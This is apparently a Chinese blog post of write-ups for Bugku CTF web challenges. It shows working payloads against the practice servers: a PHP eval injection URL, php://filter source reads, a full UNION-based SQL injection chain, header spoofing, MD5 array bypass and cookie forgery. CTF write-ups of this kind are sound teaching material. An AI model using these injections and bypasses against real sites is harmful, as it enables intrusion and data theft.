web

WEB2

按F12即可获得flag

计算器

测试发现只能输入一位数

F12将最大输入长度改为2,验证获得flag

web基础$_GET

get传值,根据提示传值得到flag


web基础$_POST

post传值,用hackbar传值得到flag



矛盾

观察题目,应该是使用is_numeric遇到%00截断的漏洞,这里构造


web3

查看页面源码发现
<!--&#75;&#69;&#89;&#123;&#74;&#50;&#115;&#97;&#52;&#50;&#97;&#104;&#74;&#75;&#45;&#72;&#83;&#49;&#49;&#73;&#73;&#73;&#125;-->

html解码得到flag

你必须让他停下

BP抓包,repeater中多次go会出现flag


本地包含

题目:

知识基础

涉及到的几个函数:

1.$_REQUEST: 可以获取以POST方法和GET方法提交的数据,但是速度比较慢

2.eval: 把字符串按照 PHP 代码来计算,该字符串必须是合法的 PHP 代码,且必须以分号结尾。

<?phpeval("echo'hello';echo' world';");?># outputhello world

3.var_dump: 函数用于输出变量的相关信息

# 数字var_dump(1); >int(1)# 字符串var_dump("string"); >string(6)"string"

首先闭合var_dump:1)";

第二步构建print_r:print_r(file("./flag.php"));

URL构建结束:

http://123.206.87.240:8003/index.php?hello=1);print_r(file("./flag.php")

变量1


isset: 用于检测变量是否已设置并且非 NULL。

prep_match: 用于执行一个正则表达式匹配。

代码中flag In the variable ! 提示 flag 在变量中

根据!preg_match("/^\w+$/",$args)得知,arg只能是任意字母,数字,下划线,汉字的字符组成

eval("var_dump($$args);");使$GLOBALS变量被输出即可

url:http://123.206.87.240:8004/index1.php?args=GLOBALS

web5


查看源代码,发现有很长的一串符号

然后根据题目提示jsfuck,是jsfuck代码,复制下来放到控制台运行。出现:"ctf{whatfk}"。

头等舱

页面显示:

查看源码也什么都没有,用bp抓一下包试试,找到了flag


管理员系统:

先随意尝试了一下,显示ip禁止访问。。。

查看源码,发现有好多空白行,拉到末尾发现了,base64解码为test123

以为是账号和密码,发现不对。查阅资料发现可以伪造一个XFF头,伪装成本地登录

X-Forwarded-For: 127.0.0.1

于是bp抓包,加上xff,go得到flag


WEB4

题目是看看源代码,那就先看看源代码,看到了这么一串

var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';

var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';

eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));

url解码一下

p1:function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b

p2:aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;

%35%34%61%61%32----->54aa2

则在页面中提交:67d709b2b54aa2aa648cf6e87a7114f1,就获得了flag

flag在index里

将网页点开,在点击相应连接,网页地址栏变为:

http://120.24.86.145:8005/post/index.php?file=show.php

看到了file关键字,看看用php://filter能否将index读出来

http://120.24.86.145:8005/post/index.php?file=php://filter/read/convert.base64-encode/resource=index.php

将得到的base64解码,观察程序得到flag

输入密码查看flag

利用burp爆破


点击一百万次

F12尝试更改数据,但是没有用

查看源码,利用post传值

成绩单

遍历-1' union select 1,2,3,4#四个表且都有回显

-1' union select 1,2,3,database()#得到数据库名字skctf_flag

-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()# 得到表名fl4g,sc

i-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=0x666c3467#得到字段skctf_flag

id=-1' union select 1,2,3,skctf_flag from fl4g#

得到BUGKU{Sql_INJECT0N_4813drd8hz4}

秋名山老司机


速度要快

抓包查看发现有段注释,让我们post margin的值。通过抓包在response的headers中发现了名为flag的字符串,应该是base64加密。所以进行解密,解密结果只有‘:’后面是正常的字符串,单独对‘:’后字符串再进行base解密,得到了一串数字,应该是margin的值。

代码:
import requests

import base64

url="http://123.206.87.240:8002/web6/"

s =requests.Session()

headers =s.get(url).headers

str1 = base64.b64decode(headers['flag'])

str2 = base64.b64decode(repr(str1).split(':')[1])

data= {'margin':str2}

flag = s.post(url,data=data)

print(flag.text)


cookies欺骗

打开链接是一长串的字母,查看源码也没发现什么。然后url:http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ= ,base64解码为keys.txt

用 filename访问index.php(原url使用base64,这也将index.php进行编码),line参数应该是行数,试一下 line=1,2,3都返回了不同的代码

用脚本跑出所有的源码


分析源码,构造keys.php的base64 作为filename的参数 ,判断cookie必须满足margin=margin才能访问keys.php(base64编码),抓包,修改cookie,go得到flag

never give up

源代码中发现1p.html,

访问1p.html发现直接跳转到了https://www.bugku.com/

那就查看1p.html的源代码view-source:http://123.206.87.240:8006/test/1p.html


发现了一串url编码 解密后得到

<script>window.location.href='http://www.bugku.com';</script>

<!--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ==-->

通过base64解码后得到

%22%3Bif%28%21%24_GET%5B%27id%27%5D%29%0A%7B%0A%09header%28%27Location%3A%20hello.php%3Fid%3D1%27%29%3B%0A%09exit%28%29%3B%0A%7D%0A%24id%3D%24_GET%5B%27id%27%5D%3B%0A%24a%3D%24_GET%5B%27a%27%5D%3B%0A%24b%3D%24_GET%5B%27b%27%5D%3B%0Aif%28stripos%28%24a%2C%27.%27%29%29%0A%7B%0A%09echo%20%27no%20no%20no%20no%20no%20no%20no%27%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20@file_get_contents%28%24a%2C%27r%27%29%3B%0Aif%28%24data%3D%3D%22bugku%20is%20a%20nice%20plateform%21%22%20and%20%24id%3D%3D0%20and%20strlen%28%24b%29%3E5%20and%20eregi%28%22111%22.substr%28%24b%2C0%2C1%29%2C%221114%22%29%20and%20substr%28%24b%2C0%2C1%29%21%3D4%29%0A%7B%0A%09require%28%22f4l2a3g.txt%22%29%3B%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20%21%21%21%22%3B%0A%7D%0A%0A%0A%3F%3E

然后我们再通过url解码得到


";if(!$_GET['id'])

{

header('Location: hello.php?id=1');

exit();

}

$id=$_GET['id'];

$a=$_GET['a'];

$b=$_GET['b'];

if(stripos($a,'.'))

{

echo 'no no no no no no no';

return ;

}

$data = @file_get_contents($a,'r');

if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)

{

require("f4l2a3g.txt");

}

else

{

print "never never never give up !!!";

}

访问http://123.206.87.240:8006/test/f4l2a3g.txt,得到flag

welcome to bugkuctf

查看页面源码

通过get方法传递三个值:txt,file,password

读取$user文件的内容,并且文件内容要与‘welcome to the bugkuctf’相同

可以利用php伪协议里面的PHP://input,写入txt,构造payload如下


我们就得到了右边这个页面。然后注意到hint.php这个东西,尝试访问一下,什么也没有。这里,我们传入第二个参数file,并利用伪协议的PHP://fifter读取一下hint.php的源码,结果是base64加密的,读完之后解密一下就行了。


解密


我不会了。。

前女友(SKCTF)

点开链接两个字的链接

在PHP中

MD5是不能处理数组的,md5(数组)会返回null

所以即

md5(a[])==null,md5(b[])==null,md5(a[])=md5(b[])=null也可以满足代码中的条件

构造: index.php?v1[]=1&v2[]=2&v3[]=3


多种方法

login1(SKCTF)

打开之后我先注册了一个账号尝试,然后跳出来不是管理员还想知道flag,因此账号一定要是管理员啊,我注册一个admin试试,然后跳出来说


那管理员的用户名就是admin,前面提示说是基于约束的sql攻击,则我们注册账号admin            ,然后随便一个密码。注册结束登陆啦按注册的账号登陆得到flag

你从哪里来


用bp抓包添加referer头

referer:https://www.google.com得到flag


最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 216,039评论 6 498
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,223评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 161,916评论 0 351
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,009评论 1 291
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,030评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,011评论 1 295
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,934评论 3 416
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,754评论 0 271
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,202评论 1 309
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,433评论 2 331
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,590评论 1 346
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,321评论 5 342
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,917评论 3 325
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,568评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,738评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,583评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,482评论 2 352

推荐阅读更多精彩内容